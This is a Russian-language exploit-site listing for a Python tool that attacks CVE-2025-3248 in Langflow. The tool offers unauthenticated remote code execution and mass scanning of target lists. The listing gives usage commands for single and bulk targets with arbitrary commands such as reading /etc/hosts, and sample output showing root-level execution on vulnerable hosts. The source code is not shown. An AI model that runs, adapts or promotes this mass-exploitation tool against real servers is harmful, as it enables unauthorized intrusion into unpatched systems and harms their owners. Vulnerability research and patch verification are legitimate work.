Exploit for CVE-2025-3248

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IMBAS007-CVE-2025-3248
# Эксплойт для Langflow CVE-2025-3248

Эксплойт на Python для CVE-2025-3248, который позволяет удалённым неаутентифицированным злоумышленникам выполнять произвольный код на уязвимых экземплярах Langflow с помощью специально сформированных HTTP-запросов.

## Возможности

  * Сканирование одного URL или массовое сканирование из файла
  * Автоматическое обнаружение уязвимости
  * Возможность выполнения команд
  * Подробный вывод с информацией о времени выполнения
  * Сохранение результатов в отдельные файлы для уязвимых и неуязвимых целей
  * Статистика производительности сканирования



## Использование

### Сканирование одного URL

root@kitploit:~
    
    
    python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"
    

### Массовое сканирование из файла

root@kitploit:~
    
    
    python CVE-2025-3248.py -f targets.txt
    

### Выполнение произвольной команды

root@kitploit:~
    
    
    python CVE-2025-3248.py -f targets.txt -c "whoami"
    

## Пример вывода

root@kitploit:~
    
    
    [*] Progress: 1/10 URLs checked
    [*] Checking https://example.com
    [+] Vulnerable - Command Output:
    uid=0(root) gid=0(root) groups=0(root)
    --------------------------------------------------
    
    [*] Scan Summary:
    [+] Total URLs checked: 10
    [+] Vulnerable URLs: 3
    [+] Not Vulnerable URLs: 7
    [*] Total scan time: 25.34s
    [*] Results saved to files with timestamp
    

источник: https://github.com/verylazytech